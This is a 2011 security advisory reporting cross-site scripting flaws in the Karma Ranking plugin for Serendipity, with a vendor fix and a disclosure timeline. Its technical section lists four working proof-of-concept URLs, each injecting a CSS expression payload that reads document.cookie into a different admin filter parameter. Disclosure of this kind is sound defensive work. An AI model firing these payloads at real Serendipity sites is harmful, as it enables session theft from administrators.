Serendipity Karma Ranking 1.1 Cross Site Scripting

`Advisory: Serendipity Plugin 'Karma Ranking' Multiple Cross-Site Scripting vulnerabilities  
Advisory ID: SSCHADV2011-017  
Author: Stefan Schurtz  
Affected Software: Successfully tested on Serendipity 1.5.5 with Karma Ranking Plugin version 1.1  
Vendor URL: http://www.s9y.org  
Vendor Status: fixed  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
Multiple parameters in the Karma Ranking plugin (Serendipity backend) are prone to a Cross-Site Scripting vulnerability  
  
==================  
Technical Details:  
==================  
  
Successfully tested with Internet Explorer 8  
  
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][ip]=3&serendipity[filter][title]=3&serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-  
  
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][title]=3&serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-  
  
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=3&serendipity[filter][title]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-  
  
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=3&serendipity[filter][title]=3&serendipity[filter][user_agent]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-  
  
=========  
Solution:  
=========  
  
Upgrade to Serendipity 1.6  
  
====================  
Disclosure Timeline:  
====================  
  
22-Sep-2011 - informed developers  
27-Oct-2011 - fixed by vendor  
02-Nov-2011 - release date of this security advisory  
  
========  
Credits:  
========  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
===========  
References:  
===========  
  
http://www.s9y.org  
http://blog.s9y.org/archives/233-Serendipity-1.6-released.html  
http://www.rul3z.de/advisories/SSCHADV2011-017.txt  
`